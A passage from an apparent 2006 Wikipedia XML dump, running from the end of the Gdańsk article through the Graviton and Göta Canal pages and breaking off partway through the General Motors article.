Alltogether combining the number of years, the city was under rule of Poland for 641 years, under the rule of Teutonic Order for 158 years, 125 years as part of Prussia and later Germany, 29 years of its history are marked by the status of a free city, and 6 years under the occupation of Nazi Germany until it was given back to Poland in 1945.


&lt;div style=&quot;float:right;margin:0 0 .5em 1em;&quot; class=&quot;toccolours&quot;&gt;
'''Historical population &lt;br&gt;of Gdańsk'''
{| cellpadding=2 style=&quot;background:transparent;&quot;
|-
| ca. 1000
| align=&quot;right&quot; | 
|1,000
|-
| 1235
| align=&quot;right&quot; | 
|2,000
|-
| 1308
| align=&quot;right&quot; | 
|10,000
|-
| 1600
| align=&quot;right&quot; | 
|40,000
|-
| 1650
| align=&quot;right&quot; | 
|70,000 
|-
| 1700
| align=&quot;right&quot; | 
|50,000
|-
| 1750
| align=&quot;right&quot; | 
|46,000
|-
| 1793
| align=&quot;right&quot; | 
|36,000
|-
| 1800
| align=&quot;right&quot; | 
|48,000
|-
| 1825
| align=&quot;right&quot; | 
|61,900
|-
| 1840
| align=&quot;right&quot; | 
|65,000
|-
| 1852
| align=&quot;right&quot; | 
|67,000
|-
| 1874
| align=&quot;right&quot; | 
|90,500
|-
| 1880
| align=&quot;right&quot; | 
|103,701
|-
| 1885
| align=&quot;right&quot; | 
|108,500
|-
| 1900
| align=&quot;right&quot; | 
|140,600
|-
| 1910
| align=&quot;right&quot; | 
|170,300
|-
| 1920
| align=&quot;right&quot; | 
|360,000 (whole [[Free City of Danzig|FCD]])
|-
| 1925
| align=&quot;right&quot; | 
|210,300
|-
| 1939
| align=&quot;right&quot; | 
|250,000
|-
| 1946
| align=&quot;right&quot; | 
|118,000
|-
| 1950
| align=&quot;right&quot; | 
| ?
|-
| 1960
| align=&quot;right&quot; | 
|286,900
|-
| 1970
| align=&quot;right&quot; | 
|365,600
|-
| 1975
| align=&quot;right&quot; | 
|421,000
|-
| 1980
| align=&quot;right&quot; | 
|456,700
|-
| 1990
| align=&quot;right&quot; | 
|464,600
|-
| 1994
| align=&quot;right&quot; | 
|464,000
|-
| 2000
| align=&quot;right&quot; | 
|456,600
|-
| 2004
| align=&quot;right&quot; | 
|460,524
|-
|}
Compare: population of [[Tricity]]
&lt;/div&gt;

==Economy==
[[Image:250px-GD022003_ubt.jpeg|thumb|left|[[Poseidon|Neptune]] statue at the Old Town.]]

The city's industrial landscape is dominated by shipbuilding, petrochemical and chemical industries, and food processing. The share of high-tech sectors such as electronics, telecommunications, IT engineering, cosmetics and pharmaceuticals is on the rise. [[Amber]] processing for the local economy is also important.

==Culture==

Gdańsk was once an important center of culture. In the [[16th century]] it hosted Shakespearean theater on foreign tours, and the [[Danzig Research Society]] founded in 1743 was one of the first of its kind. Currently, there is a ''Fundation Theatrum Gedanensis'' aimed at rebuilding the Shakespeare theater at its historical site. It is expected that Gdańsk will have a permanent English-language theater, as at present it is only an annual event.

==Tourism==

The city boasts many fine buildings from the time of the [[Hanseatic League]]. Most tourist attractions are along or near Ulica Długa (Long Street) and Długi Targ (Long Market), a pedestrian thoroughfare lined by buildings reconstructed in historical (primarily 17th Century) style and capped on either end by elaborate city gates. This part of the city is sometimes referred to as the Royal Way because it was the procession route of visiting kings. 

Walking from end to end, sites encountered on or near the Royal Way include:
&lt;ul&gt;&lt;li&gt;Upland Gate&lt;/li&gt;
&lt;li&gt;Torture House&lt;/li&gt;
&lt;li&gt;Prison Tower&lt;/li&gt;
&lt;li&gt;[[Golden Gate (Gdańsk)|Golden Gate]]&lt;/li&gt;
&lt;li&gt;Long Street (Ulica Długa)&lt;/li&gt;
&lt;ul&gt;&lt;li&gt;Uphagen House&lt;/li&gt;
&lt;li&gt;Main Town Hall&lt;/li&gt;&lt;/ul&gt;
&lt;li&gt;Long Market (Długi Targ)&lt;/li&gt;
&lt;ul&gt;&lt;li&gt;Arthur's Court (Artus)&lt;/li&gt;
&lt;li&gt;Neptune fountain&lt;/li&gt;&lt;/ul&gt;
&lt;li&gt;Green Gate&lt;/li&gt;&lt;/ul&gt;

Gdańsk has a number of historical churches:
&lt;ul&gt;&lt;li&gt;St Bridget's Church&lt;/li&gt;
&lt;li&gt;St Catherine's Church&lt;/li&gt;
&lt;li&gt;St John's Church&lt;/li&gt;
&lt;li&gt;[[St. Mary's Church, Gdańsk|St Mary's Church]] (''Bazylika Mariacka''), a municipal church built during the [[15th century]], is one of the largest brick churches in the world.&lt;/li&gt;
&lt;li&gt;St Nicholas' Church&lt;/li&gt;
&lt;li&gt;Church of the Holy Trinity&lt;/li&gt;&lt;/ul&gt;

On the [[Motława]] river the museum ship [[SS Soldek]] is anchored.

Gdańsk is the starting point of the [[EuroVelo]] 9 cycling route which continues southward through Poland, then into the [[Czech Republic]], [[Austria]] and [[Slovenia]] before it finally ends at the Adriatic Sea at [[Pula, Croatia|Pula]] in [[Croatia]].

== Transportation ==

* [[Gdańsk Lech Wałęsa Airport]]
* [[Port of Gdańsk]]
* [[Szybka Kolej Miejska]]

== Sports ==
''Main article: [[Sports in Gdańsk]]'' 

There are many popular professional sports teams in the Gdańsk and Tricity area. Amateur sports are played by thousands of Gdańsk citizens and also in schools of all levels (elementary, secondary, university). 

== Politics and local government ==
''Main article: [[Politics of Gdańsk]]'' 

Contemporary Gdańsk is the capital of the Pomeranian province and is one of the major centres of economic and administrative life in Poland. Many important  agencies of the state and local government levels have their main offices here: the Provincial Administration Office, the Provincial Government, the Ministerial Agency of the State Treasury, the Agency for Consumer and Competition Protection, the National Insurance regional office, the Court of Appeal, and the High Administrative Court.

===Regional center===

[[Gdańsk Voivodship]] was extended in [[1999]] to include most of [[Słupsk Voivodship]], the western part of [[Elbląg Voivodship]] and [[Chojnice County]] from [[Bydgoszcz Voivodship]] to form the new [[Pomeranian Voivodship]].   
The area of the region was thus extended from 7,394 km² to 18,293 km² and the population rose from 1,333,800 (1980) to 2,198,000 (2000). By 1998, [[Tricity]] (greater Gdańsk) constituted an absolute majority of the population; almost half of the inhabitants of the new region live in the centre.

== Education and science ==
[[Image:Danzig old.jpg|thumb|300px|Danzig in the 1890s.]]

There are 14 universities with a total of 60,436 students, including 10,439  graduates [[as of 2001]].

* [[Gdańsk University]] (Uniwersytet Gdański)
* [[Gdańsk University of Technology]] (Politechnika Gdańska)
* [[Medical Academy of Gdansk|Medical Academy]] (Akademia Medyczna)
* [[Physical Education Academy of Gdansk|Physical Education Academy]] (Akademia Wychowania Fizycznego im. Jędrzeja Śniadeckiego)
* [[Musical Academy of Gdansk|Musical Academy]] (Akademia Muzyczna im. Stanisława Moniuszki)
* [[Arts Academy of Gdansk|Arts Academy]] (Akademia Sztuk Pięknych) [http://www.asp.gda.pl] 
* Instytut Budownictwa Wodnego PAN
* Ateneum — Szkoła Wyższa
* Gdańska Wyższa Szkoła Humanistyczna
* Gdańska Wyższa Szkoła Administracji
* Wyższa Szkoła Bankowa
* Wyższa Szkoła Społeczno-Ekonomiczna
* Wyższa Szkoła Turystyki i Hotelarstwa w Gdańsku
* Wyższa Szkoła Zarządzania

=== Scientific and regional organizations ===

* [[Gdańsk Scientific Society]]
* [[Baltic Institute]] (Instytut Bałtycki), established [[1925]] in [[Toruń]], since [[1946]] (?) in Gdańsk
* TNOiK - Towarzystwo Naukowe Organizacji i Kierowania (Scientific Society for Organization and Management) O/Gdańsk
* IBNGR - Instytut Badań nad Gospodarką Rynkową (The Gdańsk Institute for Market Economics)http://www.ibngr.edu.pl/english/index2.htm

== See also ==
{{commons|Gdańsk}}
* [[List of modern neighbourhoods of Gdańsk]]
* [[List of Dukes of Gdańsk]]
* [[List of famous people born in Gdańsk]]
* [[List of major corporations in Gdańsk]]
* [[List of famous people living or working in Gdańsk]]
* [[St. Mary's Church, Gdansk|St. Mary's Church]]
* [[Space of Freedom]] - [[Jean Michel Jarre]]'s concert ([[August 26]][[2005]])

{{Gdansk}}

== External links ==

* [http://www.gdansk.pl/en/ The Website of Gdańsk Town Hall]
* [http://roots.gdansk.gda.pl/index_en.asp Together in Gdańsk Again — Comprehensive information about Gdańsk online]
* [http://www.airport.gdansk.pl Airport Gdańsk-Rębiechowo]
* [http://www.trojmiasto.pl Tricity Regional Portal]
* [http://www.univ.gda.pl/pl Gdańsk University]
* [http://www.firma.gda.pl Gdańsk Companies]
* [http://www.gdansk-life.com Gdańsk Life]
* [http://roots.gdansk.pl/en/postacie/burmistrzowie.asp Mayors of Gdańsk]
* [http://www.gdansk.jewish.org.pl Gdańsk Jewish community]
* [http://www.gdanskie-organy.com Organs of Gdańsk — History of pipe organs in Gdańsk]
* [http://www.city-photos.digitalphoto.pl/Gdansk/ Free photos of Gdansk]
*[http://sabaoth.infoserve.pl/danzig-online/index3.html Freie Stadt Danzig]
*[http://www.electricscotland.com/history/prussia/part3-1.htm Scots to Prussia records]

{{Poland}}

[[Category:Urban counties of Pomeranian Voivodship]]
[[Category:Coastal cities in Poland]]
[[Category:Hanseatic League]]

[[bg:Гданск]]
[[cs:Gdaňsk]]
[[da:Gdansk]]
[[de:Danzig]]
[[et:Gdańsk]]
[[eo:Gdańsk]]
[[es:Gdańsk]]
[[fr:Gdańsk]]
[[he:גדנסק]]
[[ko:그단스크]]
[[id:Gdansk]]
[[is:Gdańsk]]
[[it:Danzica]]
[[csb:Gduńsk]]
[[la:Gedania]]
[[lt:Gdanskas]]
[[lv:Gdańska]]
[[nl:Gdansk]]
[[ja:グダニスク]]
[[no:Gdańsk]]
[[pl:Gdańsk]]
[[nds:Danzig]]
[[pt:Gdansk]]
[[ro:Gdańsk]]
[[ru:Гданьск]]
[[fi:Gdansk]]
[[sr:Гдањск]]
[[sv:Gdansk]]
[[uk:Ґданьськ]]
[[zh:格但斯克]]</text>
    </revision>
  </page>
  <page>
    <title>Graviton</title>
    <id>12100</id>
    <restrictions>move=sysop</restrictions>
    <revision>
      <id>41465611</id>
      <timestamp>2006-02-27T15:04:37Z</timestamp>
      <contributor>
        <username>Sadi Carnot</username>
        <id>726928</id>
      </contributor>
      <minor />
      <comment>/* Gravitons and models of quantum gravity */  typo</comment>
      <text xml:space="preserve">In [[physics]], the '''graviton''' is a hypothetical [[elementary particle]] that transmits the force of [[gravity]] in most [[quantum gravity]] theories. In order to do this, one theory posits that gravitons have to be always-attractive (gravity never pushes), work over any distance (gravity is universal) and come in unlimited numbers (to provide high strengths near stars). In [[quantum mechanics|quantum theory]], these requirements define an even-[[spin (physics)|spin]] (spin 2 in this case) [[boson]] with a [[Mass in special relativity|rest mass]] of zero.

Gravitons are postulated simply because [[quantum theory]] has been so successful in other fields. For instance, the electromagnetic interaction can be very well explained by the application of quantization to [[photon]]s, a science known as [[quantum electrodynamics]]. In this case photons are being continually created and destroyed by all [[charged particle]]s, and the interactions between these photons produce the familiar effects of [[electricity]] and [[magnetism]]. In the same way, the [[Nuclear force|strong nuclear force]] and the [[weak nuclear force]] are mediated by [[gluon]]s and by [[W and Z bosons]], respectively.

Given the widespread success of quantum theory in describing the basic forces in the [[universe]] except for gravity, it seemed only natural that the same methods would work well on gravity as well. Many attempts finally led to introduction of a so-far unseen graviton, which would work in a fashion somewhat similar to the photon, the gluon etc. It was hoped that this would quickly lead to a quantum gravity theory, although the mathematics became convoluted and no internally consistent theory has yet emerged.

==Gravitons and models of quantum gravity==
While the [[classical theory]] (i.e. the [[tree diagram]]s) and [[semiclassical]] corrections ([[one-loop diagram]]s) behaved as expected, the [[Feynman diagram]]s with two (or more) loops led to [[ultraviolet divergence]]s; that is, infinite results that could not be removed because the quantized [[general relativity]] was not [[renormalizable]], unlike [[quantum electrodynamics]]. In popular terms, the [[discrete]]ness of quantum theory is not compatible with the [[smooth function|smoothness]] of [[Albert Einstein|Einstein]]'s general relativity. These problems, together with some conceptual puzzles, led many physicists to believe that a theory more complete than just general relativity must regulate the behavior near the [[Planck length]]. [[Superstring theory]] finally emerged as the most promising solution; it is the only known theory in which the quantum corrections of any order to graviton [[scattering]] are finite.

[[String theory]] predicts the existence of gravitons and their well-defined [[interaction]]s which represents one of its most important triumphs. A graviton in [[perturbative]] string theory is a [[closed string]] in a very particular low-energy vibrational state. The scattering of gravitons in string theory can also be computed from the [[correlation function (quantum field theory)|correlation functions]] in [[conformal field theory]], as dictated by the [[AdS/CFT]] correspondence, or from [[Matrix theory (physics)|Matrix theory]].

An interesting feature of gravitons in string theory is that, as closed strings without endpoints, they would not be bound to [[brane]]s and could move freely between them; this &quot;leakage&quot; of gravitons from our brane into higher-dimensional space could explain why gravity is such a weak force, and gravitons from other branes adjacent to our own could provide a potential explanation for [[dark matter]]. See [[brane cosmology]] for more details.

Some proposed quantum theories of gravity do not predict a graviton. For instance, [[loop quantum gravity]] has no analogous particle.

==Gravitons and experiments==
Detecting a graviton, if it exists, would prove rather problematic. Because the gravitational force is so incredibly weak, as of today, physicists are not even able to directly verify the existence of [[gravitational waves]], as predicted by general relativity.  (Many people are surprised to learn that gravity is the weakest force. A simple experiment will demonstrate this, however: an ordinary refrigerator [[magnet]] can generate enough force to lift a [[mass]] against the force of gravity generated by the entire planet.)  

Gravitational waves may be viewed as [[coherent state]]s of many gravitons, much like the electromagnetic waves are coherent states of photons. Projects that should find the gravitational waves, such as [[LIGO]] and [[VIRGO]], are just getting started.

==Problems with the Graviton==
Many believe the graviton does not exist, at least in the simplistic manner in which it is envisioned. Superficially speaking, [[quantum gravity]] using the gauge interaction of a spin-2 field (graviton) fails to work like the [[photon]] and other gauge bosons do.

But more importantly the spin-2, linear wave (classical gravitational wave) is only a perturbation on certain, highly restrictive metrics. In general there are wave-like fluctuations, but they are non-linear, as is often the case in General Relativity. Maxwell's equations always admit a spin-1, linear wave, but Einstein's equations rarely admit a spin-2, linear wave, and when they do it is only perturbative and not exact.

The more analogous gravitational object to the electromagnetic wave is actually the [[Weyl curvature]]. In classical electromagnetism you have fields determined by sources along with electromagnetic waves that are source-free. And in gravity you have the [[Ricci curvature]] determined by the stress-energy tensor along with  the source-free Weyl tensor which contains the gravitational waves.

{{Elementary}}


[[Category:Bosons]]
[[Category:Quantum gravity]]
[[Category:String theory]]

[[ca:Gravitó]]
[[da:Graviton]]
[[de:Graviton]]
[[es:Gravitón]]
[[fr:Graviton]]
[[hr:Graviton]]
[[it:Gravitone]]
[[he:גרביטון]]
[[la:Graviton]]
[[hu:Graviton]]
[[nl:Graviton]]
[[ja:重力子]]
[[pl:Grawiton]]
[[pt:Gravitão]]
[[ro:Graviton]]
[[ru:Гравитон]]
[[sl:Graviton]]
[[fi:Gravitoni]]
[[sv:Graviton]]
[[tr:Graviton]]
[[zh:引力子]]</text>
    </revision>
  </page>
  <page>
    <title>Göta Canal</title>
    <id>12101</id>
    <revision>
      <id>34725191</id>
      <timestamp>2006-01-11T07:02:37Z</timestamp>
      <contributor>
        <username>Abelson</username>
        <id>86381</id>
      </contributor>
      <text xml:space="preserve">[[Image:la2-bergs.jpg|thumb|250px|Bergs locks at Berg, near [[Linköping]], descending to lake [[Roxen]]]]

The '''Göta Canal''' is a [[Sweden|Swedish]] [[canal]] constructed in the early [[19th century]].  The canal stretches all the way from [[Gothenburg]] on the Swedish west coast, combined with the river [[Göta älv]] and the [[Trollhatte canal|Trollhätte canal]], through the great lakes [[Vänern]] and [[Vättern]], in parallel with [[Motala ström]], and to [[Söderköping]] on the [[Baltic Sea]].

[[image:Gota_Locks_1.jpg|thumb|250px|Flight of locks descending to Lake [[Boren]]]]

The architect was [[Baltzar von Platen (1766-1829)|Baltzar von Platen]], working to plans earlier developed at the request of the Swedish king by the [[Kingdom of Great Britain|British]] [[civil engineer]] [[Thomas Telford]]; he got permission to begin to work on [[April 11]], [[1810]] and the canal was officially opened on [[September 26]], [[1832]]. Telford himself travelled to Sweden in 1810 to oversee some of the initial excavations on the project. Built only decades before the advent of railroads (see [[Rail Transport]]), the canal was soon outdated, and never upgraded.  The canal is a tourist attraction, sometimes called the blue ribbon of [[Sweden]].

[[image:la2-demis-motalastrom.png|thumb|Map showing Göta kanal between lake Vättern and the Baltic Sea]]
To support the building of the canal with mechanical works, a small engineering workshop was established in [[Motala]] called [[Motala Verkstad]]. This industry has sometimes been referred to as ''cradle of the Swedish engineering industry''.

==In fiction==
Several movies depict the canal, most notably the [[1981]] comedy ''[[Göta Kanal (movie)|Göta Kanal]]'', in which two competing yacht constructors race the canal in order to win a huge construction stock order. 

== Stops ==
From the west-coast of Sweden all the way to the east-coast the stops are as follows:
*[[Göteborg]]
*[[Göta älv]]
*[[Lilla Edet]]
*[[Trollhättan]]
*[[Vänersborg]]
*[[Vänern]]
*[[Läckö]]
*[[Årnäs]]
*[[Mariestad]]
*[[Tiveden]]
*[[Sjötorp]]
*[[Lyrestad]]
*[[Norrkvarn]]
*[[Töreboda]]
*[[Wassbacken]]
*[[Lanthöjden]]
*[[Tåtorp]]
*[[Viken (lake)|Viken]]
*[[Unden]]
*[[Forsvik]]
*[[Rödesund]]
*[[Karlsborg]]
*[[Vättern]]
*[[Vadstena]]
*[[Motala]]
*[[Borenshult]]
*[[Boren]]
*[[Borensberg]] or [[Husbyfjöl]]
*[[Långkanalen]]
*[[Bergs slussar]]
*[[Roxen]]
*[[Norsholm]]
*[[Asplången]]
*[[Klämman]]
*[[Söderköping]]
*[[Mem]]
*[[Slätbaken]]
*[[Baltic Sea]]
*[[Södertälje kanal]]
*[[Mälaren]]
*[[Hammarbyleden]]
*[[Hammarbyslussen]]
*[[Skeppsbron]]

== Photographs of the Göta Canal ==
*[[media:Gota_Scene_1.jpg|Tranquil scene on the canal at Lake Roxen]]
*[[media:MV_Diana_Motala_1.jpg|The MV Diana on the canal at Motala]]

== See also ==
*[[List of Swedish government enterprises]]

== Bibliography ==
*Eric de Maré, ''Swedish Cross Cut'', Sweden, 1965. (In English)

== External links ==
*[http://www.gotakanal.se/ Göta Canal] - Official site

[[Category:Swedish government enterprises]]
[[Category:Historic civil engineering landmarks]]
[[Category:Canals]]

[[de:Göta-Kanal]]
[[et:Göta kanal]]
[[fr:Canal Göta]]
[[no:Göta kanal]]
[[nn:Göta kanal]]
[[sv:Göta kanal]]</text>
    </revision>
  </page>
  <page>
    <title>General Motors</title>
    <id>12102</id>
    <revision>
      <id>42125418</id>
      <timestamp>2006-03-04T00:05:26Z</timestamp>
      <contributor>
        <username>Anlace</username>
        <id>754651</id>
      </contributor>
      <comment>/* Alternative vehicles */ removed argumentative and unsourced phrase</comment>
      <text xml:space="preserve">{{Infobox_Company |
  company_name   = General Motors |
  company_logo   = [[Image:GM,_logo.png|70px|GM logo]] |
  company_type   = Public ([[New York Stock Exchange|NYSE]]: [http://www.nyse.com/about/listed/lcddata.html?ticker=GM GM]) |
  company_slogan =  |
  foundation     = [[1908]] |
  location       = [[Detroit, Michigan]]; manufacturing facilities in 30 U.S. states and 32 countries  |
  key_people     = [[Rick Wagoner]], Chairman &amp; [[CEO]]|
  num_employees  = 324,000 ([[2004]]) |
  industry       = [[Automotive]] |
  products       = [[automobile]]s&lt;br /&gt;[[engine]]s |
  revenue        = [[Image:green up.png]]US$193.5 [[billion]] [[U.S. dollar|USD]] ([[2004]]) |  
  homepage       = [http://www.gm.com/ www.gm.com]
}}
'''General Motors Corporation''' ({{nyse|GM}}), also known as '''GM''', is a [[United States]]-based [[automobile maker]] with worldwide operations and brands including [[Buick]], [[Cadillac]], [[Chevrolet]], [[GMC Truck|GMC]], [[Holden]], [[Hummer]], [[Opel]], [[Pontiac]], [[Saturn automobile|Saturn]], [[Saab Automobile|Saab]] and [[Vauxhall Motors|Vauxhall]].

Chevrolet and GMC divisions produce [[truck]]s, as well as passenger vehicles. Other brands include [[Delco|AC Delco]] and [[Allison Transmission]]. GM also has a 8% stake in [[Isuzu]] and a 20% stake in [[Suzuki]] in [[Japan]] and a joint venture with [[AvtoVAZ]] in [[Russia]]. In December [[2003]], it acquired [[Delta Motor Corporation|Delta]] in [[South Africa]], in which it had taken a 45 % stake in [[1997]], and which is now a fully-owned subsidiary, General Motors South Africa. General Motors is also a majority shareholder (50.9%) in [[GM Daewoo]].   

GM's headquarters are in the [[Renaissance Center]] in [[Detroit, Michigan]]. The company is the world's largest vehicle [[manufacturing|manufacturer]] and employs over 340,000 people. In [[2001]], GM sold 8.5 million vehicles through all its branches; in [[2002]], GM sold 15 % of all cars and trucks in the world. They also owned [[Electronic Data Systems]] from [[1984]] to [[1996]] and, prior to selling it to [[News Corporation]], [[DirecTV]]. GM owned [[Frigidaire]] from [[1918]] to [[1979]].

==History==
[[Image:Detroit GM headquarters.jpg|thumb|270px|General Motors Headquarters, Renaissance Center, Detroit, Michigan.]] 
General Motors (GM) was founded in [[1908]] in Flint, Michigan as a holding company for Buick, then controlled by [[William C. Durant]], and acquired [[Oldsmobile]] later that year.  The next year, Durant brought in [[Cadillac]], [[Elmore (automobile)|Elmore]], and [[Oakland automobile|Oakland]]. In 1909, General Motors acquired the Rapid Motor Vehicle Company of Pontiac, Michigan, the predecessor of GMC Truck. A Rapid became the first truck to conquer [[Pikes Peak]] in 1909. 

During the [[1920s]] and [[1930s]], General Motors bought out the [[bus]] company [[Yellow Coach]], helped create [[Greyhound Lines|Greyhound bus lines]], replaced intercity train transport with buses, and established subsidiary companies to buy out [[trolley|streetcar]] companies and replace the rail-based services with buses. GM formed [[United Cities Motor Transit]] in 1932 (''see [[General Motors streetcar conspiracy]] for additional details'').

General Motors bought the [[internal combustion engine]]d [[railcar]] builder [[Electro-Motive Corporation]] and its engine supplier [[Winton Engine]] in [[1930]], renaming both as the [[General Motors Electro-Motive Division]]. Over the next twenty years, diesel-powered locomotives and trains &amp;ndash; the majority built by GM &amp;ndash; largely replaced other forms of traction on American railroads. (During [[World War II]], these engines were also important in American [[submarines]] and [[destroyer escorts]].) Electro-Motive was sold in early 2005.

On [[December 31]], [[1955]], General Motors became the first American corporation to make over one [[billion]] [[US dollar|dollars]] in a year.  

After GM's massive lay-offs hit [[Flint, Michigan]] a [[Strike action|strike]] began at the General Motors parts factory in Flint on [[June 5]], [[1998]], which quickly spread to five other assembly plants and lasted seven weeks.

At one point GM was the largest corporation ever in the United States, in terms of its revenues as a percent of GDP. In [[1953]] [[Charles Erwin Wilson]], then GM president, was named by [[Dwight D. Eisenhower|Eisenhower]] as [[United States Secretary of Defense|Secretary of Defense]]. When he was asked during the hearings before the [[Senate Armed Services Committee]] if as secretary of defense he could make a decision adverse to the interests of General Motors, Wilson answered affirmatively but added that he could not conceive of such a situation &quot;because for years I thought what was good for the country was good for General Motors and vice versa&quot;. Later this statement was often garbled when quoted, suggesting that Wilson had said simply, &quot;What's good for General Motors is good for the country.&quot; At the time, GM was the one of the largest employers in the world &amp;ndash; only Soviet state industries employed more people.

===General Motors Hughes Electronics===
[[Hughes Electronics]] was formed in [[1985]] when [[Hughes Aircraft]] was sold by the [[Howard Hughes Medical Institute]] to General Motors for $5 billion. General Motors merged Hughes Aircraft with its Delco Electronics unit to form GM Hughes Electronics (GMHE). The group then consisted of:
*Hughes Aircraft
*Delco Electronics
*Hughes Space and Communications
*Hughes Network Systems
*Hughes Training

In August [[1992 in aviation|1992]] GM Hughes Electronics purchased [[General Dynamics]]' Missile Systems business. In [[1994 in aviation|1994]] Hughes Electronics introduced [[DirecTV]], the world's first high-powered [[direct broadcast satellite]] service. In [[1995 in aviation|1995]] Hughes Electronic's [[Hughes Aircraft#Hughes Space and Communications|Hughes Space and Communications]] division became the largest supplier of commercial satellites. Also in 1995 the group purchased [[Magnavox Electronic Systems]] from the [[Carlyle Group]]. In [[1996 in aviation|1996]] Hughes Electronics and [[PanAmSat]] agree to merge their fixed satellite services into a new publicly held company, also called PanAmSat with GM Hughes Electronics as majority shareholder.

In [[1997 in aviation|1997]] GM transferred Delco Electronics to its [[Delphi Corporation|Delphi Automotive Systems]] business. Late in the year the defense operations of Hughes Electronics (Hughes Aircraft and missile business) were merged with Raytheon.

Hughes Space and Communications remained independent until [[2000 in aviation|2000]], when it was purchased by [[Boeing]] and became [[Boeing Satellite Systems]].

In 2000, the remaining parts of Hughes Electronics: DirecTV, DirecTV Latin America, PanAmSat and Hughes Network Systems, were purchased by [[NewsCorp]] and renamed The DirecTV Group. NewsCorp sold PanAmSat to [[Kohlberg Kravis Roberts &amp; Co.]] (KKR) in August 2004.

==Corporate structure and issues==
Current members of the [[board of directors]] of General Motors are: [[Percy Barnevik]], [[Erskine Bowles]], [[John Bryan]], [[Armando Codina]], [[George M. C. Fisher|George Fisher]], [[Karen Katen]], [[Kent Kresa]], [[Ellen Kullman]], [[Philip Laskawy]], [[Jerome York]], [[Eckhard Pfeiffer]], and [[Rick Wagoner]] (chairman). York was elected to the board on [[February 6]], [[2006]] to represent [[Kirk Kerkorian]], as [[E. Stanley O'Neal]] stepped down.

Rick Wagoner is also the [[chief executive officer]] of the company (since [[June 1]], [[2000]]), succeeding [[John F. Smith, Jr.]]

===Social policies===
General Motors was named one of the 100 Best Companies for Working Mothers in [[2004]] by ''Working Mothers'' magazine.

Due to its highly compensated workforce GM has the highest health care and labor costs in the industry, and some analysts have criticized the company for this.

===Subsidies===
In March [[2005]], the [[Government of Canada]] &quot;gave [[Canadian dollar|C$]]200 million to General Motors for its Ontario plants, and last fall it awarded C$100 million to [[Ford Motor Co.]] to expand their Canadian auto production, provide jobs and contribute to the economy,&quot; according to [[Jim Harris (politician)|Jim Harris]]. With additional subsidies promised to non-North American auto companies like Toyota, Premier Dalton McGuinty said the money the province and Ottawa are pledging for the project is well-spent. His government has committed [[Canadian dollar|C$]]400 million, including the latest Toyota package of [[Canadian dollar|C$]]125 million, to the province's automobile sector, which helped finance $5 billion worth of industry projects.

===Marketing problems===
GM corporate management has since 1955 allowed the gradual blurring of the distinctions between its own divisions. These divisions were once each targeted to specific market segments and, despite some shared components, each vehicle distinguished itself from comparable GM stablemates with unique styling and (to some extent) bespoke technology. The shared components and common corporate management created substantial [[economy of scale| economies of scale]] while the distinctions between the divisions created an orderly upgrade path, with an entry-level buyer starting out with a practical and economical Chevrolet and, (assuming progressive prosperity of the buyer), moving through offerings of the several divisions until the purchase of a Cadillac. The divisions were not [[competition|competing]] with each other so much but rather they were passing along the same customer, who would thus always be buying a GM product, with the profits flowing to this single corporation.

Before 1955:
*[[GMC Truck]] - produced strictly utilitarian commercial vehicles over a wide range of capacities
*[[Chevrolet]] - an entry-level brand offering high utility at low price, with some light trucks and panel vans
*[[Pontiac]] - a brand that sold solid, extremely quiet vehicles (these used a side valve straight eight), attractive to a modest and reserved lower middle class
*[[Oldsmobile]] - a leading technical innovator with the first production [[automatic transmission]], this eventually became GM's first &quot;performance&quot; division, introducing the industry's first short-stroke, high-compression overhead-valve V8 (the &quot;Oldsmobile Rocket&quot;) in 1949
*[[Buick]] - a more expensive and luxurious brand for the upper middle class (often called the &quot;doctor's car&quot;) with four models - the small body/engine ''Special'' and ''Super'' and the larger ''Century'' and ''Roadmaster'', each emphasizing a soft ride, upscale interior, and in the late 1940's an available &quot;shiftless&quot; automatic transmission and hydraulic power windows
*[[Cadillac]] - the self styled &quot;''standard of luxury''&quot;, with large production competition only from rival [[Packard]]

The postwar industry became enamored with the concept of &quot;planned obsolescence&quot;, implemented by both technical and styling innovations, with a three year product cycle typical within the industry. In this cycle, a new basic body shell is introduced and then modified for the next two years by minor styling changes. GM, [[Ford Motor Company|Ford]], and [[Chrysler Corporation|Chrysler]] competed vigorously in this new environment.

By 1957, with a &quot;horsepower race&quot; active in the U.S. industry, Pontiac became somewhat performance-minded, rivaled by some specific Buick models (the Century for example), completing the evolution in the early and mid 1960's with the Bonneville and the GTO, with Oldsmobiles mostly later becoming soft, comfortable, and (for larger families) practical vehicles. High performance vehicles were available from all of the divisions, peaking in 1970 and ending with the imposition of anti-[[smog]] technologies that severely impacted performance, drivability, and efficiency across the industry in the early 1970's.

By the late 1960s, most of GM's vehicles were built upon a few common ''platforms'' and in the 1970s, began to use nearly identical body panel stampings, differing only in internal and external trim items. This was seen especially in the compact passenger vehicles offered by the divisions.

Beginning in the 1980's, GM frequently &quot;rebadged&quot; one division's successful vehicle into several models across the divisions, all positioned close to one another in the market place. Thus, a new GM model's main competition might be another model spawned off the same platform.  This led to so-called market &quot;[[Cannibal#Other uses of the word|cannibalization]]&quot;, where GM's respective divisions spent time stealing sales from one another, while other more co-ordinated efforts (notably from the Japanese manufacturers) were allowed to increase their market penetration.  For instance, the company's GMT360 midsized light truck platform has, since its inception in 2002, spawned the basic Chevrolet Trailblazer, an extended version of the Trailblazer, the Oldsmobile Bravada, the GMC Envoy, the Envoy XL (an extended Envoy with a reconfigurable tailgate) and later, the Isuzu Ascender, Buick Rainier, and Saab 9-7X.   Though each model had a more or less unique mission, without bespoke engine choices or radically different suspension settings and trim choices, the cars can hardly be told apart.  

Critics have suggested that this progressive blurring of well-defined brands has been a large contributor the late 20&lt;sup&gt;th&lt;/sup&gt; and early 21&lt;sup&gt;st&lt;/sup&gt; century market failures of GM.

During the 1980's and later GM divisions had market issues concerning quality - not that the vehicles produced were especially bad but rather that they did not compare well to foreign competition in matters of fit and finish, durability of sheet metal, paint (which was not at all durable for several years after a formulation change), and plastic components.

In 2004, GM redirected resources from the development of new sedans to an accelerated refurbishment of their light trucks and [[SUV]]s for introduction as 2007 models in early 2006. Shortly after this decision, fuel prices increased by over 50 % and this in turn affected both the trade-in value of used vehicles and the perceived desirability of new offerings in these market segments.  The  current marketing plan is currently to extensively tout these revised vehicles as offering the best fuel economies ''in their class'' (of vehicle), although such advantages are expected to be minor until the introduction of new hybrid light trucks in 2007, with projected 25% mileage improvements. In contrast, Ford, GM's primary domestic competitor, has emphasized building more and better passenger cars with attractive styling, features, and quality, with profitability flowing from lower production costs through reduction of excess plant capacity and firm consumer demand, which enables avoidance of marketing incentives (such as ''low'' or ''zero interest'', ''cash back'', or ''free'' or ''low cost'' added accessory, appearance, and other [[automotive 